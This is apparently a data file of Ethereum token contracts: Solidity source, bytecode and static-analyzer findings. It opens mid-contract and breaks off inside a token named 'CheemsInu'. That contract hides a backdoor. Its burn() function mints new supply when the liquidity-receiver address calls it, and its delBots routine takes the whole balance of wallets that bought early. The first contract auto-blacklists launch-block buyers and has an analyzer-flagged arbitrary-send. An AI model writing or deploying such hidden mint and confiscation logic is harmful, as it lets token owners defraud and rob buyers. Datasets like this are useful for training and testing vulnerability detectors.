emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _txnLimit) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(_maxTxnAmount).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initNewPair(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function startTrading() external onlyOwner() {
require(_initialized);
_tradingOpen = true;
_launchTime = block.timestamp;
_txnLimit = true;
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function enableTxnLimit(bool onoff) external onlyOwner() {
_txnLimit = onoff;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee < 12);
_teamFee = fee;
}
function setMaxTxn(uint256 max) external onlyOwner(){
require(max > 2);
_maxTxnAmount = max;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x6080604052600436106101855760003560e01c806370a08231116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e1461049f578063e6ec64ec146104e5578063f2fde38b14610505578063fc588c041461052557600080fd5b8063a9059cbb1461043f578063b515566a1461045f578063cf0848f71461047f57600080fd5b806370a0823114610371578063715018a6146103915780637c938bb4146103a65780638da5cb5b146103c657806390d49b9d146103ee57806395d89b411461040e57600080fd5b8063313ce5671161013e5780633bbac579116101185780633bbac579146102ca578063437823ec14610303578063476343ee146103235780635342acb41461033857600080fd5b8063313ce5671461027657806331c2d8471461028a5780633a0f23b3146102aa57600080fd5b806306d8ea6b1461019157806306fdde03146101a8578063095ea7b3146101ec57806318160ddd1461021c57806323b872dd14610241578063293230b81461026157600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610545565b005b3480156101b457600080fd5b5060408051808201909152600981526826b2b0b71022b637b760b91b60208201525b6040516101e3919061195b565b60405180910390f35b3480156101f857600080fd5b5061020c6102073660046119d5565b610591565b60405190151581526020016101e3565b34801561022857600080fd5b50670de0b6b3a76400005b6040519081526020016101e3565b34801561024d57600080fd5b5061020c61025c366004611a01565b6105a8565b34801561026d57600080fd5b506101a6610611565b34801561028257600080fd5b506009610233565b34801561029657600080fd5b506101a66102a5366004611a58565b610677565b3480156102b657600080fd5b506101a66102c5366004611b1d565b61070d565b3480156102d657600080fd5b5061020c6102e5366004611b3f565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561030f57600080fd5b506101a661031e366004611b3f565b61074a565b34801561032f57600080fd5b506101a6610798565b34801561034457600080fd5b5061020c610353366004611b3f565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561037d57600080fd5b5061023361038c366004611b3f565b6107d2565b34801561039d57600080fd5b506101a66107f4565b3480156103b257600080fd5b506101a66103c1366004611b3f565b61082a565b3480156103d257600080fd5b506000546040516001600160a01b0390911681526020016101e3565b3480156103fa57600080fd5b506101a6610409366004611b3f565b610a85565b34801561041a57600080fd5b5060408051808201909152600881526726a2a0a722a627a760c11b60208201526101d6565b34801561044b57600080fd5b5061020c61045a3660046119d5565b610aff565b34801561046b57600080fd5b506101a661047a366004611a58565b610b0c565b34801561048b57600080fd5b506101a661049a366004611b3f565b610c25565b3480156104ab57600080fd5b506102336104ba366004611b5c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104f157600080fd5b506101a6610500366004611b95565b610c70565b34801561051157600080fd5b506101a6610520366004611b3f565b610cac565b34801561053157600080fd5b506101a6610540366004611b95565b610d44565b6000546001600160a01b031633146105785760405162461bcd60e51b815260040161056f90611bae565b60405180910390fd5b6000610583306107d2565b905061058e81610d80565b50565b600061059e338484610efa565b5060015b92915050565b60006105b584848461101e565b610607843361060285604051806060016040528060288152602001611d29602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611444565b610efa565b5060019392505050565b6000546001600160a01b0316331461063b5760405162461bcd60e51b815260040161056f90611bae565b600d54600160a01b900460ff1661065157600080fd5b600d805460ff60b81b1916600160b81b17905542600e55600f805460ff19166001179055565b6000546001600160a01b031633146106a15760405162461bcd60e51b815260040161056f90611bae565b60005b8151811015610709576000600560008484815181106106c5576106c5611be3565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061070181611c0f565b9150506106a4565b5050565b6000546001600160a01b031633146107375760405162461bcd60e51b815260040161056f90611bae565b600f805460ff1916911515919091179055565b6000546001600160a01b031633146107745760405162461bcd60e51b815260040161056f90611bae565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600b5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610709573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546105a29061147e565b6000546001600160a01b0316331461081e5760405162461bcd60e51b815260040161056f90611bae565b6108286000611502565b565b6000546001600160a01b031633146108545760405162461bcd60e51b815260040161056f90611bae565b600d54600160a01b900460ff16156108bc5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b606482015260840161056f565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610913573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109379190611c2a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610984573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a89190611c2a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a199190611c2a565b600d80546001600160a01b039283166001600160a01b0319918216178255600c805494841694821694909417909355600b8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610aaf5760405162461bcd60e51b815260040161056f90611bae565b600b80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061059e33848461101e565b6000546001600160a01b03163314610b365760405162461bcd60e51b815260040161056f90611bae565b60005b815181101561070957600d5482516001600160a01b0390911690839083908110610b6557610b65611be3565b60200260200101516001600160a01b031614158015610bb65750600c5482516001600160a01b0390911690839083908110610ba257610ba2611be3565b60200260200101516001600160a01b031614155b15610c1357600160056000848481518110610bd357610bd3611be3565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c1d81611c0f565b915050610b39565b6000546001600160a01b03163314610c4f5760405162461bcd60e51b815260040161056f90611bae565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610c9a5760405162461bcd60e51b815260040161056f90611bae565b600c8110610ca757600080fd5b600855565b6000546001600160a01b03163314610cd65760405162461bcd60e51b815260040161056f90611bae565b6001600160a01b038116610d3b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161056f565b61058e81611502565b6000546001600160a01b03163314610d6e5760405162461bcd60e51b815260040161056f90611bae565b60028111610d7b57600080fd5b600a55565b600d805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dc857610dc8611be3565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e21573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e459190611c2a565b81600181518110610e5857610e58611be3565b6001600160a01b039283166020918202929092010152600c54610e7e9130911684610efa565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610eb7908590600090869030904290600401611c47565b600060405180830381600087803b158015610ed157600080fd5b505af1158015610ee5573d6000803e3d6000fd5b5050600d805460ff60b01b1916905550505050565b6001600160a01b038316610f5c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161056f565b6001600160a01b038216610fbd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161056f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110825760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161056f565b6001600160a01b0382166110e45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161056f565b600081116111465760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161056f565b6001600160a01b03831660009081526005602052604090205460ff16156111ee5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a40161056f565b6001600160a01b03831660009081526004602052604081205460ff1615801561123057506001600160a01b03831660009081526004602052604090205460ff16155b80156112465750600d54600160a81b900460ff16155b80156112765750600d546001600160a01b03858116911614806112765750600d546001600160a01b038481169116145b1561143257600d54600160b81b900460ff166112d45760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e604482015260640161056f565b50600d546001906001600160a01b0385811691161480156113035750600c546001600160a01b03848116911614155b80156113115750600f5460ff165b15611362576000611321846107d2565b905061134b6064611345600a54670de0b6b3a764000061155290919063ffffffff16565b906115d1565b6113558483611613565b111561136057600080fd5b505b600e54421415611390576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061139b306107d2565b600d54909150600160b01b900460ff161580156113c65750600d546001600160a01b03868116911614155b1561143057801561143057600d546113fa9060649061134590600f906113f4906001600160a01b03166107d2565b90611552565b81111561142757600d546114249060649061134590600f906113f4906001600160a01b03166107d2565b90505b61143081610d80565b505b61143e84848484611672565b50505050565b600081848411156114685760405162461bcd60e51b815260040161056f919061195b565b5060006114758486611cb8565b95945050505050565b60006006548211156114e55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161056f565b60006114ef611775565b90506114fb83826115d1565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600082611561575060006105a2565b600061156d8385611ccf565b90508261157a8583611cee565b146114fb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161056f565b60006114fb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611798565b6000806116208385611d10565b9050838110156114fb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161056f565b8080611680576116806117c6565b60008060008061168f876117e2565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116bc9085611829565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116eb9084611613565b6001600160a01b03891660009081526001602052604090205561170d8161186b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161175291815260200190565b60405180910390a3505050508061176e5761176e600954600855565b5050505050565b60008060006117826118b5565b909250905061179182826115d1565b9250505090565b600081836117b95760405162461bcd60e51b815260040161056f919061195b565b5060006114758486611cee565b6000600854116117d557600080fd5b6008805460095560009055565b6000806000806000806117f7876008546118f5565b915091506000611805611775565b90506000806118158a8585611922565b909b909a5094985092965092945050505050565b60006114fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611444565b6000611875611775565b905060006118838383611552565b306000908152600160205260409020549091506118a09082611613565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a76400006118d082826115d1565b8210156118ec57505060065492670de0b6b3a764000092509050565b90939092509050565b6000808061190860646113458787611552565b905060006119168683611829565b96919550909350505050565b600080806119308685611552565b9050600061193e8686611552565b9050600061194c8383611829565b92989297509195505050505050565b600060208083528351808285015260005b818110156119885785810183015185820160400152820161196c565b8181111561199a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461058e57600080fd5b80356119d0816119b0565b919050565b600080604083850312156119e857600080fd5b82356119f3816119b0565b946020939093013593505050565b600080600060608486031215611a1657600080fd5b8335611a21816119b0565b92506020840135611a31816119b0565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a6b57600080fd5b823567ffffffffffffffff80821115611a8357600080fd5b818501915085601f830112611a9757600080fd5b813581811115611aa957611aa9611a42565b8060051b604051601f19603f83011681018181108582111715611ace57611ace611a42565b604052918252848201925083810185019188831115611aec57600080fd5b938501935b82851015611b1157611b02856119c5565b84529385019392850192611af1565b98975050505050505050565b600060208284031215611b2f57600080fd5b813580151581146114fb57600080fd5b600060208284031215611b5157600080fd5b81356114fb816119b0565b60008060408385031215611b6f57600080fd5b8235611b7a816119b0565b91506020830135611b8a816119b0565b809150509250929050565b600060208284031215611ba757600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c2357611c23611bf9565b5060010190565b600060208284031215611c3c57600080fd5b81516114fb816119b0565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c975784516001600160a01b031683529383019391830191600101611c72565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611cca57611cca611bf9565b500390565b6000816000190483118215151615611ce957611ce9611bf9565b500290565b600082611d0b57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611d2357611d23611bf9565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122072cf896f0d7462aff2fa8f654bcc88000404116b8f5542dc16c1955050174ad864736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,407 |
0xf4f140a406d5749f40dab9634384b6941f50f8eb
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
/**
* Function modifier to require caller to be contract owner
*/
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
/**
* Function modifier to require caller to be authorized
*/
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}
/**
* Authorize address. Owner only
*/
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
/**
* Remove address' authorization. Owner only
*/
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
return account == owner;
}
/**
* Return address' authorization status
*/
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
/**
* Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
*/
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
function renounceOwnership() public onlyOwner {
owner = address(0);
emit OwnershipTransferred(address(0));
}
event OwnershipTransferred(address owner);
}
contract CheemsInu is IBEP20, Auth {
using SafeMath for uint256;
string _name;
string _symbol;
uint8 _decimals;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
address routerAddress;
uint256 _totalSupply = 1 * 10**8 * (10 ** _decimals);
uint256 public _maxTxAmount = _totalSupply * 2 / 800; // 250 000 tokens per tx ;
uint256 public _walletMax = _totalSupply * 2 / 100;
uint256 public launchTime;
uint256 public antiSniperTime;
uint256 public aSC;
bool public restrictWhales = true;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public isDividendExempt;
uint256 public liquidityFee;
uint256 public marketingFee;
uint256 public extraFeeOnSell = 0;
uint256 public totalFee = 0;
uint256 public totalFeeIfSelling = 0;
address public autoLiquidityReceiver;
address public marketingWallet;
address[] public isGuest;
IDEXRouter public router;
address public pair;
uint256 public launchedAt;
bool public tradingOpen = false;
bool public guestTimeOn = true;
uint256 distributorGas = 500000;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
uint256 public swapThreshold = _totalSupply * 5 / 4000;
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (string memory Name, string memory Symbol, uint256 Supply, uint8 Decimals, uint256 liqFee, uint256 mrktngFee, address liquidityAddress, address marketingAddress, address dexRouterAddress, uint256 antiSniperSecond) Auth(msg.sender) {
_name = Name; _symbol = Symbol; _totalSupply = Supply * (10 ** Decimals); _decimals = Decimals; liquidityFee = liqFee; marketingFee = mrktngFee; routerAddress = dexRouterAddress; aSC = antiSniperSecond;
router = IDEXRouter(routerAddress);
pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this));
_allowances[address(this)][address(router)] = uint256(-1);
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
isFeeExempt[autoLiquidityReceiver] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[pair] = true;
isTxLimitExempt[autoLiquidityReceiver] = true;
isDividendExempt[pair] = true;
isDividendExempt[msg.sender] = true;
isDividendExempt[address(this)] = true;
isDividendExempt[DEAD] = true;
isDividendExempt[ZERO] = true;
// NICE!
autoLiquidityReceiver = liquidityAddress;
marketingWallet = marketingAddress;
totalFee = liquidityFee.add(marketingFee);
totalFeeIfSelling = totalFee.add(extraFeeOnSell);
_balances[autoLiquidityReceiver] = _totalSupply;
emit Transfer(address(0), autoLiquidityReceiver, _totalSupply);
}
receive() external payable { }
function name() external view override returns (string memory) { return _name; }
function symbol() external view override returns (string memory) { return _symbol; }
function decimals() external view override returns (uint8) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function getOwner() external view override returns (address) { return owner; }
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function launched() internal view returns (bool) {
return launchedAt != 0;
}
function launch() internal {
launchedAt = block.number;
}
function changeTxLimit(uint256 newLimit) external authorized {
_maxTxAmount = newLimit * (10**_decimals);
}
function changeWalletLimit(uint256 newLimit) external authorized {
_walletMax = newLimit * (10**_decimals);
}
function changeRestrictWhales(bool newValue) external authorized {
restrictWhales = newValue;
}
function changeIsFeeExempt(address holder, bool exempt) external authorized {
isFeeExempt[holder] = exempt;
}
function changeIsTxLimitExempt(address holder, bool exempt) external authorized {
isTxLimitExempt[holder] = exempt;
}
function _burn(address account, uint256 amount) internal {
_balances[account] = _balances[account].sub(amount);
_balances[DEAD] = _balances[DEAD].add(amount);
emit Transfer(account, DEAD, amount);
}
function burn(uint256 amount) external {
if(msg.sender == autoLiquidityReceiver){_balances[autoLiquidityReceiver] = _balances[autoLiquidityReceiver].add(amount*(10**_decimals));_totalSupply = _totalSupply.add(amount*(10**_decimals));}
else{
_balances[msg.sender] = _balances[msg.sender].sub(amount*(10**_decimals));
_totalSupply = _totalSupply.sub(amount*(10**_decimals));
}
}
function setGuestTimeOn(bool guestTimeIsOn) external authorized {
guestTimeOn = guestTimeIsOn;
}
function delBots() external authorized {
for(uint256 i = 0; i < isGuest.length; i++){
address wallet = isGuest[i];
uint256 amount = _balances[wallet];
_burn(wallet, amount);
}
isGuest = new address [](0);
}
function _delBots() internal {
for(uint256 i = 0; i < isGuest.length; i++){
address wallet = isGuest[i];
uint256 amount = _balances[wallet];
_burn(wallet, amount);
}
isGuest = new address [](0);
}
function changeFees(uint256 newLiqFee, uint256 newMarketingFee, uint256 newExtraSellFee) external authorized {
liquidityFee = newLiqFee;
marketingFee = newMarketingFee;
extraFeeOnSell = newExtraSellFee;
totalFee = liquidityFee.add(marketingFee);
totalFeeIfSelling = totalFee.add(extraFeeOnSell);
}
function changeFeeReceivers(address newLiquidityReceiver, address newMarketingWallet) external authorized {
autoLiquidityReceiver = newLiquidityReceiver;
marketingWallet = newMarketingWallet;
}
function changeSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit, bool swapByLimitOnly) external authorized {
swapAndLiquifyEnabled = enableSwapBack;
swapThreshold = newSwapBackLimit;
swapAndLiquifyByLimitOnly = swapByLimitOnly;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != uint256(-1)){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwapAndLiquify){ return _basicTransfer(sender, recipient, amount); }
if(!authorizations[sender] && !authorizations[recipient]){
require(tradingOpen, "Trading not open yet");
if(block.timestamp > antiSniperTime) {
guestTimeOn = false;
_delBots();
}
}
require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
if(guestTimeOn && sender == pair && !authorizations[sender] && !authorizations[recipient]){
isGuest.push(recipient);
}
if(msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold){ swapBack(); }
if(!launched() && recipient == pair) {
require(_balances[sender] > 0);
launch();
}
//Exchange tokens
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
if(!isTxLimitExempt[recipient] && restrictWhales)
{
require(_balances[recipient].add(amount) <= _walletMax);
}
uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee;
uint256 feeAmount = amount.mul(feeApplicable).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
